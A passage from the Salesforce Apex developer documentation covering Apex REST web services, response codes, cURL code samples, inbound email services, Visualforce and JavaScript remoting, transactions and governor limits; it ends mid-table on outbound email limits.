return type is a type that's invalid for XML and XML is the requested response format, an HTTP 406 status code is
returned.
For request data in either JSON or XML, valid values for Boolean parameters are: true, false (both of these are treated
as case-insensitive), 1 and 0 (the numeric values, not strings of “1” or “0”). Any other values for Boolean parameters result
in an error.
If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status
code error response. For example, if your method specifies an input parameter named x, the following JSON request data
results in an error:
{
"x" : "value1",
"x" : "value2"
}

Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple
times, this results in an error. For example, given this Apex REST method and user-defined type:
@RestResource(urlMapping='/DuplicateParamsExample/*')
global with sharing class ApexRESTDuplicateParamsExample {
@HttpPost
global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) {
return def;
}
global class MyUserDef1 {
Integer i;
}
}

The following JSON request data also results in an error:
{
"def" : {
"i" : 1,
"i" : 2
}
}

•

If you need to specify a null value for one of your parameters in your request data, you can either omit the parameter entirely
or specify a null value. In JSON, you can specify null as the value. In XML, you must use the
http://www.w3.org/2001/XMLSchema-instance namespace with a nil value.

224
Invoking Apex

•

Exposing Apex Classes as REST Web Services

For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So,
for example, if you define an Apex REST method such as:
@RestResource(urlMapping='/namespaceExample/*')
global class MyNamespaceTest {
@HttpPost
global static MyUDT echoTest(MyUDT def, String extraString) {
return def;
}
global class MyUDT {
Integer count;
}
}

You can use the following XML request data:
<request>
<def xmlns:MyUDT="http://soap.sforce.com/schemas/class/MyNamespaceTest">
<MyUDT:count>23</MyUDT:count>
</def>
<extraString>test</extraString>
</request>

Response Status Codes
The status code of a response is set automatically. This table lists some HTTP status codes and what they mean in the context
of the HTTP request method. For the full list of response status codes, see statusCode.
Request Method

Response Status
Code

Description

GET

200

The request was successful.

PATCH

200

The request was successful and the return type is non-void.

PATCH

204

The request was successful and the return type is void.

DELETE, GET, PATCH, POST,
PUT

400

An unhandled user exception occurred.

DELETE, GET, PATCH, POST,
PUT

403

You don't have access to the specified Apex class.

DELETE, GET, PATCH, POST,
PUT

404

The URL is unmapped in an existing @RestResource
annotation.

DELETE, GET, PATCH, POST,
PUT

404

The URL extension is unsupported.

DELETE, GET, PATCH, POST,
PUT

404

The Apex class with the specified namespace couldn't be
found.

DELETE, GET, PATCH, POST,
PUT

405

The request method doesn't have a corresponding Apex
method.

DELETE, GET, PATCH, POST,
PUT

406

The Content-Type property in the header was set to a value
other than JSON or XML.

DELETE, GET, PATCH, POST,
PUT

406

The header specified in the HTTP request is not supported.

GET, PATCH, POST, PUT

406

The XML return type specified for format is unsupported.
225
Invoking Apex

Exposing Apex Classes as REST Web Services

Request Method

Response Status
Code

Description

DELETE, GET, PATCH, POST,
PUT

415

The XML parameter type is unsupported.

DELETE, GET, PATCH, POST,
PUT

415

The Content-Header Type specified in the HTTP request
header is unsupported.

DELETE, GET, PATCH, POST,
PUT

500

An unhandled Apex exception occurred.

See Also:
JSON Support
XML Support

Exposing Data with Apex REST Web Service Methods
Invoking a custom Apex REST Web service method always uses system context. Consequently, the current user's credentials
are not used, and any user who has access to these methods can use their full power, regardless of permissions, field-level
security, or sharing rules. Developers who expose methods using the Apex REST annotations should therefore take care that
they are not inadvertently exposing any sensitive data.
Warning: Apex class methods that are exposed through the Apex REST API don't enforce object permissions and
field-level security by default. We recommend that you make use of the appropriate object or field describe result
methods to check the current user’s access level on the objects and fields that the Apex REST API method is accessing.
See DescribeSObjectResult Class and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword.
This requirement applies to all Apex classes, including to classes that are exposed through Apex REST API. To
enforce sharing rules for Apex REST API methods, declare the class that contains these methods with the with
sharing keyword. See Using the with sharing or without sharing Keywords.

Apex REST Code Samples
These code samples show you how to expose Apex classes and methods through the REST architecture and how to call those
resources from a client.
•
•

Apex REST Basic Code Sample: Provides an example of an Apex REST class with three methods that you can call to
delete a record, get a record, and update a record.
Apex REST Code Sample Using RestRequest: Provides an example of an Apex REST class that adds an attachment to
a record by using the RestRequest object

Apex REST Basic Code Sample
This sample shows you how to implement a simple REST API in Apex that handles three different HTTP request methods.
For more information about authenticating with cURL, see the Quick Start section of the REST API Developer's Guide.
1. Create an Apex class in your instance from Setup, by clicking Develop > Apex Classes > New and add this code to your
new class:
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {

226
Invoking Apex

Exposing Apex Classes as REST Web Services

@HttpDelete
global static void doDelete() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account account = [SELECT Id FROM Account WHERE Id = :accountId];
delete account;
}
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}

2. To call the doGet method from a client, open a command-line window and execute the following cURL command to
retrieve an account by ID:
curl -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"

•
•
•

Replace sessionId with the <sessionId> element that you noted in the login response.
Replace instance with your <serverUrl> element.
Replace accountId with the ID of an account which exists in your organization.

After calling the doGet method, Salesforce returns a JSON response with data such as the following:
{
"attributes" :
{
"type" : "Account",
"url" : "/services/data/v22.0/sobjects/Account/accountId"
},
"Id" : "accountId",
"Name" : "Acme"
}

Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in
the URL.
3. Create a file called account.txt to contain the data for the account you will create in the next step.
{
"name" : "Wingo Ducks",
"phone" : "707-555-1234",

227
Invoking Apex

Exposing Apex Classes as REST Web Services

"website" : "www.wingo.ca.us"
}

4. Using a command-line window, execute the following cURL command to create a new account:
curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d
@account.txt "https://instance.salesforce.com/services/apexrest/Account/"

After calling the doPost method, Salesforce returns a response with data such as the following:
"accountId"

The accountId is the ID of the account you just created with the POST request.
5. Using a command-line window, execute the following cURL command to delete an account by specifying the ID:
curl —X DELETE —H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"

Apex REST Code Sample Using RestRequest
The following sample shows you how to add an attachment to a case by using the RestRequest object. For more information
about authenticating with cURL, see the Quick Start section of the REST API Developer's Guide. In this code, the binary file
data is stored in the RestRequest object, and the Apex service class accesses the binary data in the RestRequest object .
1. Create an Apex class in your instance from Setup by clicking Develop > Apex Classes. Click New and add the following
code to your new class:

@RestResource(urlMapping='/CaseManagement/v1/*')
global with sharing class CaseMgmtService
{
@HttpPost
global static String attachPic(){
RestRequest req = RestContext.request;
RestResponse res = Restcontext.response;
Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Blob picture = req.requestBody;
Attachment a = new Attachment (ParentId = caseId,
Body = picture,
ContentType = 'image/jpg',
Name = 'VehiclePicture');
insert a;
return a.Id;
}
}

2. Open a command-line window and execute the following cURL command to upload the attachment to a case:
curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type:
image/jpeg" --data-binary @file
"https://instance.salesforce.com/services/apexrest/CaseManagement/v1/caseId"

•
•
•
•

Replace sessionId with the <sessionId> element that you noted in the login response.
Replace instance with your <serverUrl> element.
Replace caseId with the ID of the case you want to add the attachment to.
Replace file with the path and file name of the file you want to attach.

228
Invoking Apex

Apex Email Service

Your command should look something like this (with the sessionId replaced with your session ID):
curl -H "Authorization: Bearer sessionId"
-H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary
@c:testvehiclephoto1.jpg
"https://na1.salesforce.com/services/apexrest/CaseManagement/v1/500D0000003aCts"

Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in
the URL.
The Apex class returns a JSON response that contains the attachment ID such as the following:
"00PD0000001y7BfMAI"

3. To verify that the attachment and the image were added to the case, navigate to Cases and select the All Open Cases
view. Click on the case and then scroll down to the Attachments related list. You should see the attachment you just
created.

Apex Email Service
Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound
email. For example, you can create an email service that automatically creates contact records based on contact information
in messages.
Note: Visualforce email templates cannot be used for mass email.

You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages
for processing. To give multiple users access to a single email service, you can:
•
•

Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according
to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's
email address and creates records on behalf of that user.

To use email services, from Setup, click Develop > Email Services.
•
•
•
•

Click New Email Service to define a new email service.
Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that
email service.
Click Edit to make changes to an existing email service.
Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following:
•
•

An email service only processes messages it receives at one of its addresses.
Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending
on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the
229
Invoking Apex

•
•
•

Using the InboundEmail Object

number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have 10 licenses, your organization
can process up to 10,000 email messages a day.
Email service addresses that you create in your sandbox cannot be copied to your production organization.
For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's
email address.
Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments)
exceeds approximately 10 MB (varies depending on language and character set).

Using the InboundEmail Object
For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the
contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler
interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an
InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many
functions.
Example 1: Create Tasks for Contacts
The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
Messaging.InboundEnvelope env){
// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
String myPlainText= '';
// Add the email plain text into the local variable
myPlainText = email.plainTextBody;
// New Task object to be created
Task[] newTask = new Task[0];
// Try to look up any contacts based on the email from address
// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];
// Add a new Task to the contact record we just found above.
newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));
// Insert the new Task
insert newTask;
System.debug('New Task Object: ' + newTask );
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.

230
Invoking Apex

Visualforce Classes

// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
// Return the result for the Apex Email Service
return result;
}
}

See Also:
InboundEmail Class
InboundEnvelope Class
InboundEmailResult Class

Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related
record updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers
and controller extensions:
•

A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller.
If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any
functionality that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions
of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the
user's profile.

•

A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller.
Extensions allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the
current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions.
Although the extension class executes in system mode, the standard controller executes in user mode. As with custom
controllers, you can specify whether a user can execute methods in a controller extension based on the user's profile.

You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions.
•
•
•
•
•
•
•
•
•
•

Action
Dynamic Component
IdeaStandardController
IdeaStandardSetController
KnowledgeArticleVersionStandardController
Message
PageReference
SelectOption
StandardController
StandardSetController

231
Invoking Apex

Invoking Apex Using JavaScript

In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller
extensions. For more information, see Using the transient Keyword on page 76.
For more information on Visualforce, see the Visualforce Developer's Guide.

Invoking Apex Using JavaScript
JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex,
dynamic behavior that isn’t possible with the standard Visualforce AJAX components.
JavaScript remoting has three parts:
•
•
•

The remote method invocation you add to the Visualforce page, written in JavaScript.
The remote method definition in your Apex controller class. This method definition is written in Apex, but there are few
differences from normal action methods.
The response handler callback function you add to or include in your Visualforce page, written in JavaScript.

In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }

To use JavaScript remoting in a Visualforce page, add the request as a JavaScript invocation with the following form:
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);

•
•
•
•
•

•

namespace is the namespace of the controller class. This is required if your organization has a namespace defined, or if

the class comes from an installed package.
controller is the name of your Apex controller.
method is the name of the Apex method you’re calling.
parameters is the comma-separated list of parameters that your method takes.
callbackFunction is the name of the JavaScript function that will handle the response from the controller. You can
also declare an anonymous function inline. callbackFunction receives the status of the method call and the result as
parameters.
configuration configures the handling of the remote call and response. Use this to change the behavior of a remoting
call, such as whether or not to escape the Apex method’s response.

For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.

Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webService methods.
To do so, include the following lines in your AJAX code:
<script src="/soap/ajax/15.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/15.0/apex.js" type="text/javascript"></script>

232
Invoking Apex

Apex in AJAX

Note: For AJAX buttons, use the alternate forms of these includes.

To invoke Apex, use one of the following two methods:
•
•

Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the
API's result type, but as a JavaScript structure.
Use a class WSDL. For example, you can call the following Apex class:
global class myClass {
webService static Id makeContact(String lastName, Account a) {
Contact c = new Contact(LastName = lastName, AccountId = a.Id);
return c.id;
}
}

By using the following JavaScript code:
var account = sforce.sObject("Account");
var id = sforce.apex.execute("myClass","makeContact",
{lastName:"Smith",
a:account});

The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.
To call a webService method with no parameters, use {} as the third parameter for sforce.apex.execute. For example,
to call the following Apex class:
global class myClass{
webService static String getContextUserName() {
return UserInfo.getFirstName();
}
}

Use the following JavaScript code:
var contextUser = sforce.apex.execute("myClass", "getContextUserName", {});

Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when
you invoke the class. For example, to call the above class, the JavaScript code from above would be rewritten as
follows:
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName",
{});

To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, click
Create > Packages. If a namespace is defined, it is listed under Developer Settings.
Both examples result in native JavaScript values that represent the return type of the methods.
Use the following line to display a popup window with debugging information:
sforce.debug.trace=true;

233
Chapter 9
Apex Transactions and Governor Limits
In this chapter ...
•
•
•
•

Apex Transactions
Understanding Execution Governors
and Limits
Using Governor Limit Email
Warnings
Running Apex Within Governor
Execution Limits

Apex Transactions ensure the integrity of data. Apex code runs as part of atomic
transactions. Governor execution limits ensure the efficient use of resources on
the Force.com multitenant platform. Most of the governor limits are per
transaction, and some aren’t, such as 24-hour limits. To make sure Apex adheres
to governor limits, certain design patterns should be used, such as bulk calls
and foreign key relationships in queries. This chapter covers transactions,
governor limits, and best practices.

234
Apex Transactions and Governor Limits

Apex Transactions

Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction
either complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed
to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce
page, or a custom Web service method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies for calls that
are made from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running
in the transaction boundary. For example, consider the following chain of operations: a custom Apex Web service method
causes a trigger to fire, which in turn calls a method in a class. In this case, all changes are committed to the database only
after all operations in the transaction finish executing and don’t cause any errors. If an error occurs in any of the intermediate
steps, all database changes are rolled back and the transaction isn’t committed.

How are Transactions Useful?
Transactions are useful when several operations are related, and either all or none of the operations should be committed. This
keeps the database in a consistent state. There are many business scenarios that benefit from transaction processing. For
example, transferring funds from one bank account to another is a common scenario. It involves debiting the first account and
crediting the second account with the amount to transfer. These two operations need to be committed together to the database.
But if the debit operation succeeds and the credit operation fails, the account balances will be inconsistent.

Example
This example shows how all DML insert operations in a method are rolled back when the last operation causes a validation
rule failure. In this example, the invoice method is the transaction boundary—all code that runs within this method either
commits all changes to the platform database or rolls back all changes. In this case, we add a new invoice statement with a
line item for the pencils merchandise. The Line Item is for a purchase of 5,000 pencils specified in the Units_Sold__c field,
which is more than the entire pencils inventory of 1,000. This example assumes a validation rule has been set up to check that
the total inventory of the merchandise item is enough to cover new purchases.
Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws
an exception. Code execution halts at this point and all DML operations processed before this exception are rolled back. In
this case, the invoice statement and line item won’t be added to the database, and their insert DML operations are rolled
back.
In the Developer Console, execute the static invoice method.
//
//
//
Id

Only 1,000 pencils are in stock.
Purchasing 5,000 pencils cause the validation rule to fail,
which results in an exception in the invoice method.
invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1');

This is the definition of the invoice method. In this case, the update of total inventory causes an exception due to the
validation rule failure. As a result, the invoice statements and line items will be rolled back and won’t be inserted into the
database.
public class MerchandiseOperations {
public static Id invoice( String pName, Integer pSold, String pDesc) {
// Retrieve the pencils sample merchandise
Merchandise__c m = [SELECT Price__c,Total_Inventory__c
FROM Merchandise__c WHERE Name = :pName LIMIT 1];
// break if no merchandise is found
System.assertNotEquals(null, m);
// Add a new invoice
Invoice_Statement__c i = new Invoice_Statement__c(
Description__c = pDesc);
insert i;

235
Apex Transactions and Governor Limits

Understanding Execution Governors and Limits

// Add a new line item to the invoice
Line_Item__c li = new Line_Item__c(
Name = '1',
Invoice_Statement__c = i.Id,
Merchandise__c = m.Id,
Unit_Price__c = m.Price__c,
Units_Sold__c = pSold);
insert li;
// Update the inventory of the merchandise item
m.Total_Inventory__c -= pSold;
// This causes an exception due to the validation rule
// if there is not enough inventory.
update m;
return i.Id;
}
}

Understanding Execution Governors and Limits
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that
runaway Apex doesn’t monopolize shared resources. If some Apex code ever exceeds a limit, the associated governor issues a
runtime exception that cannot be handled.
The Apex limits, or governors, track and enforce the statistics outlined in the following tables and sections.
•
•
•
•
•
•

Per-Transaction Apex Limits
Per-Transaction Certified Managed Package Limits
Force.com Platform Apex Limits
Static Apex Limits
Size-Specific Apex Limits
Miscellaneous Apex Limits

In addition to the core Apex governor limits, email limits are also included later in this topic for your convenience.

Per-Transaction Apex Limits
These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records
in the execute method.
This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when they’re different.
Otherwise, this table lists only one limit that applies to both synchronous and asynchronous Apex.
Description

Synchronous
Limit
100

Total number of SOQL queries issued1

Asynchronous
Limit
200

Total number of records retrieved by SOQL queries

50,000

Total number of records retrieved by Database.getQueryLocator

10,000

Total number of SOSL queries issued

20

Total number of records retrieved by a single SOSL query

2,000

Total number of DML statements issued2

150

Total number of records processed as a result of DML statements,
Approval.process, or database.emptyRecycleBin
236

10,000
Apex Transactions and Governor Limits

Understanding Execution Governors and Limits

Description

Synchronous
Limit

Asynchronous
Limit

Total stack depth for any Apex invocation that recursively fires triggers due to
insert, update, or delete statements3

16

Total number of callouts (HTTP requests or Web services calls) in a transaction

10

Maximum timeout for all callouts (HTTP requests or Web services calls) in a
transaction

120 seconds

Total number of methods with the future annotation allowed per Apex invocation

10

Total number of sendEmail methods allowed

10

4

Total number of describes allowed

100

5

Total heap size

6 MB
10,000
milliseconds

Maximum CPU time on the Salesforce servers6

12 MB
60,000
milliseconds

Maximum execution time for each Apex transaction
Maximum number of unique namespaces referenced

10 minutes
7

10

1

In a SOQL query with parent-child relationship sub-queries, each parent-child relationship counts as an additional query.
These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship
queries contribute to the row counts of the overall code execution. In addition to static SOQL statements, calls to the following
methods count against the number of SOQL statements issued in a request.
•
•
•
2

•
•
•
•
•
•
•
•
•
•
•
•

Database.countQuery
Database.getQueryLocator
Database.query

Calls to the following methods count against the number of DML queries issued in a request.
Approval.process
Database.convertLead
Database.emptyRecycleBin
Database.rollback
Database.setSavePoint
delete and Database.delete
insert and Database.insert
merge and Database.merge
undelete and Database.undelete
update and Database.update
upsert and Database.upsert
System.runAs

3

Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation,
with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from
the invocation of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation
than a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
4

•
•

Describes include the following methods and objects.
ChildRelationship objects
RecordTypeInfo objects

237
Apex Transactions and Governor Limits

•
•
•
5

Understanding Execution Governors and Limits

PicklistEntry objects
fields calls
fieldsets calls
Email services heap size is 36 MB.

6

CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction—for the
executing Apex code, and any processes that are called from this code, such as package code and workflows. CPU time is
private for a transaction and is isolated from other transactions. Operations that don’t consume application server CPU time
aren’t counted toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and
SOSL isn’t counted, nor is waiting time for Apex callouts.
7

In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes
a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a
different class in a different package. Even though the second package wasn’t accessed directly by the first, because it occurs
in the same transaction, it’s included in the number of namespaces being accessed in a single transaction.
Note:
•
•

Limits apply individually to each testMethod.
Use the Limits methods to determine the code execution limits for your code while it is running. For example,
you can use the getDMLStatements method to determine the number of DML statements that have already
been called by your program, or the getLimitDMLStatements method to determine the total number of DML
statements available to your code.

Per-Transaction Certified Managed Package Limits
Certified managed packages, that is, managed packages that have passed the security review for AppExchange, get their own
set of limits for per-transaction limits with the exception of some limits. Certified managed packages are developed by
salesforce.com ISV Partners, are installed in your organization from Force.com AppExchange, and have unique namespaces.
Here is an example that illustrates the separate certified managed package limits for DML statements. If you install a certified
managed package, all the Apex code in that package gets its own 150 DML statements, in addition to the 150 DML statements
your organization’s native code can execute. This means more than 150 DML statements might execute during a single
transaction if code from the managed package and your native organization both execute. Similarly, the certified managed
package gets its own 100 SOQL queries limit for synchronous Apex, in addition to the organization’s native code limit of 100
SOQL queries, and so on.
All per-transaction limits count separately for certified managed packages with the exception of:
•
•
•
•

The total heap size
The maximum CPU time
The maximum transaction execution time
The maximum number of unique namespaces

These limits count for the entire transaction, regardless of how many certified managed packages are running in the same
transaction.
Also, if you install a package from AppExchange that isn’t created by a salesforce.com ISV Partner and isn’t certified, the code
from that package doesn’t have its own separate governor limit count. Any resources it uses counts against the total for your
organization. Cumulative resource messages and warning emails are also generated based on managed package namespaces as
well.
For more information on salesforce.com ISV Partner packages, see salesforce.com Partner Programs.

Force.com Platform Apex Limits
The limits in this table aren’t specific to an Apex transaction and are enforced by the Force.com platform.

238
Apex Transactions and Governor Limits

Understanding Execution Governors and Limits

Description

Limit

The maximum number of asynchronous Apex method executions (Batch Apex, future methods, 250,000 or the number of user
and scheduled Apex) per a 24-hour period1
licenses in your organization
multiplied by 200, whichever
is greater
Number of synchronous concurrent requests for long-running requests that last longer than 10
5 seconds for each organization. 2
Maximum simultaneous requests to URLs with the same host for a callout request3

20

Maximum number of Apex classes scheduled concurrently

100

Maximum number of Batch Apex jobs running concurrently

5

Maximum number of Batch Apex job start method concurrent executions4

1

5

Total number of test classes that can be queued per a 24-hour period

The greater of 500 or 10
multiplied by the number of
test classes in the organization

Maximum number of query cursors open concurrently per user6

50

Maximum number of query cursors open concurrently per user for the Batch Apex start
method

15

Maximum number of query cursors open concurrently per user for the Batch Apex execute 5
and finish methods
1

For Batch Apex, method executions include executions of the start, execute, and finish methods. This is an
organization-wide limit and is shared with all asynchronous Apex: Batch Apex, scheduled Apex, and future methods. The
licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter
Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included.
2

If additional requests are made while the 10 long-running requests are still running, they’re denied.

3

The host is defined by the unique subdomain for the URL, for example, www.mysite.com and extra.mysite.com are
two different hosts. This limit is calculated across all organizations that access the same host. If this limit is exceeded, a
CalloutException will be thrown.
4

Batch jobs that haven’t started yet remain in the queue until they're started. Note that this limit doesn’t cause any batch job
to fail and execute methods of batch Apex jobs still run in parallel if more than one job is running.
5

This limit applies to tests running asynchronously. This includes tests started through the Salesforce user interface including
the Developer Console or by inserting ApexTestQueueItem objects using SOAP API.
6

For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the
oldest of the 50 cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can
have 50 Apex query cursors, 15 cursors for the Batch Apex start method, 5 cursors for the Batch Apex execute and finish
methods each, and 5 Visualforce cursors open at the same time.

Static Apex Limits
Description

Limit

Default timeout of callouts (HTTP requests or Web services calls) in a transaction
1

10 seconds

Maximum size of callout request or response (HTTP request or Web services call)

3 MB

Maximum SOQL query run time before the transaction can be canceled by Salesforce

120 seconds

239
Apex Transactions and Governor Limits

Understanding Execution Governors and Limits

Description

Limit

Maximum number of class and trigger code units in a deployment of Apex

5,000

For loop list batch size

200

Maximum number of records returned for a Batch Apex query in Database.QueryLocator 50 million
1

The HTTP request and response sizes count towards the total heap size.

Size-Specific Apex Limits
Description

Limit

Maximum number of characters for a class

1 million

Maximum number of characters for a trigger

1 million
1

Maximum amount of code used by all Apex code in an organization

3 MB

Method size limit 2

65,535 bytecode instructions
in compiled form

1

This limit does not apply to certified managed packages installed from AppExchange (that is, an app that has been marked
AppExchange Certified). The code in those types of packages belong to a namespace unique from the code in your organization.
For more information on AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does
not apply to any code included in a class defined with the @isTest annotation.
2

Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.

Miscellaneous Apex Limits
SOQL Query Performance
For best performance, SOQL queries must be selective, particularly for queries inside of triggers. To avoid long execution
times, non-selective SOQL queries may be terminated by the system. Developers will receive an error message when a
non-selective query in a trigger executes against an object that contains more than 100,000 records. To avoid this error,
ensure that the query is selective. See More Efficient SOQL Queries.
Event Reports
The maximum number of records that an event report returns for a user who is not a system administrator is 20,000; for
system administrators, 100,000.
Data.com Clean
If you use the Data.com Clean product and its automated jobs, and you have set up Apex triggers with SOQL queries
to run when account, contact, or lead records, the queries may interfere with Clean jobs for those objects. Your Apex
triggers (combined) should not exceed 200 SOQL queries per batch. If they do, your Clean job for that object will fail.
In addition, if your triggers call future methods, they will be subject to a limit of 10 future calls per batch.

Email Limits
Inbound Email Limits
Email Services: Maximum Number of Email Messages Processed
(Includes limit for On-Demand Email-to-Case)
Email Services: Maximum Size of Email Message (Body and Attachments)

240

Number of user licenses multiplied by
1,000, up to a daily maximum of
1,000,000
10 MB1
Apex Transactions and Governor Limits

Understanding Execution Governors and Limits

On-Demand Email-to-Case: Maximum Email Attachment Size

10 MB

On-Demand Email-to-Case: Maximum Number of Email Messages Processed Number of user licenses multiplied by
1,000, up to a daily maximum of
(Counts toward limit for Email Services)
1,000,000
1

The maximum size of email messages for Email Services varies depending on language and character set.

When defining email services, note the following:
•
•

•
•
•

An email service only processes messages it receives at one of its addresses.
Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day,
depending on how you configure the failure response settings for each email service. Salesforce calculates the limit
by multiplying the number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have
10 licenses, your organization can process up to 10,000 email messages a day.
Email service addresses that you create in your sandbox cannot be copied to your production organization.
For each email service, you can tell Salesforce to send error email messages to a specified address instead of the
sender's email address.
Email services reject email messages and notify the sender if the email (combined body text, body HTML, and
attachments) exceeds approximately 10 MB (varies depending on language and character set).

Outbound Email: Limits for Single and Mass Email Sent Using Apex
Using the API or Apex, you can send single emails to a maximum of 1,000 external email addresses per day based on
Greenwich Mean Time (GMT). Single emails sent using the Salesforce application don't count toward this limit. There’s
no limit on sending individual emails to contacts, leads, person accounts, and users in your organization directly from
account, contact, lead, opportunity, case, campaign, or custom object pages.
When sending single emails, keep in mind:
•
•

You can send 100 emails per SingleEmailMessage.
If you use SingleEmailMessage to email your organization’s internal users, specifying the user’s ID in
setTargetObjectId means the email doesn’t count toward the daily limit. However, specifying internal users’
email addresseses in setToAddresses means the email does count toward the limit.

You can send mass email to a maximum of 1,000 external email addresses per day per organization based on Greenwich
Mean Time (GMT). The maximum number of external addresses you can include in each mass email depends on your
edition:
Edition

External Address Limit per Mass Email

